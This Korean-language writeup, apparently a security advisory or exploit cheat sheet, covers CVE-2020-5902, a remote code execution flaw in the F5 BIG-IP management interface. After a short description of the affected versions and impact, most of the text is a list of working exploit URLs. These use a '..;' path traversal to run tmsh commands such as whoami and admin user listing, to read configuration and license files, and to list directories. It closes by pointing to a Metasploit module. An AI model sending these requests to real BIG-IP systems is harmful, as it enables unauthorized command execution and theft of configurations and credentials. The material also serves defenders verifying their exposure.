
[CVE-2020-5902] F5 BIG-IP 원격 코드 실행 (RCE)
[CVE-2020-5902] F5 BIG-IP 트래픽 관리 사용자 인터페이스 (TMUI) 원격 코드 실행
BIG-IP 버전 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1에서 구성 유틸리티라고도 하는 트래픽 관리 사용자 인터페이스(TMUI)에 공개되지 않은 페이지에서 원격 코드 실행(RCE) 취약점이 존재합니다.
이 취약점을 통해 인증되지 않은 공격자 또는 인증된 사용자는 BIG-IP 관리 포트 및/또는 self IP를 통해 구성 유틸리티에 네트워크로 접근하여 임의의 시스템 명령 실행, 파일 생성 또는 삭제, 서비스 비활성화, 임의의 Java 코드 실행 등을 수행할 수 있습니다. 이 취약점으로 인해 시스템 전체가 손상될 수 있습니다. Appliance 모드의 BIG-IP 시스템도 취약합니다. 이 문제는 데이터 플레인에는 노출되지 않으며 제어 플레인에만 영향을 미칩니다.
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release
https://{host}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
https://{host}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
원본 보안 권고는 F5가 게시했으며 여기에서 확인할 수 있습니다.
또한 CVE-2020-5902에 대해 Excellent 등급의 metasploit 모듈이 제공됩니다. Metasploit 모듈의 루비 코드는 exploits/linux/http/f5_bigip_tmui_rce.rb에서 확인할 수 있습니다.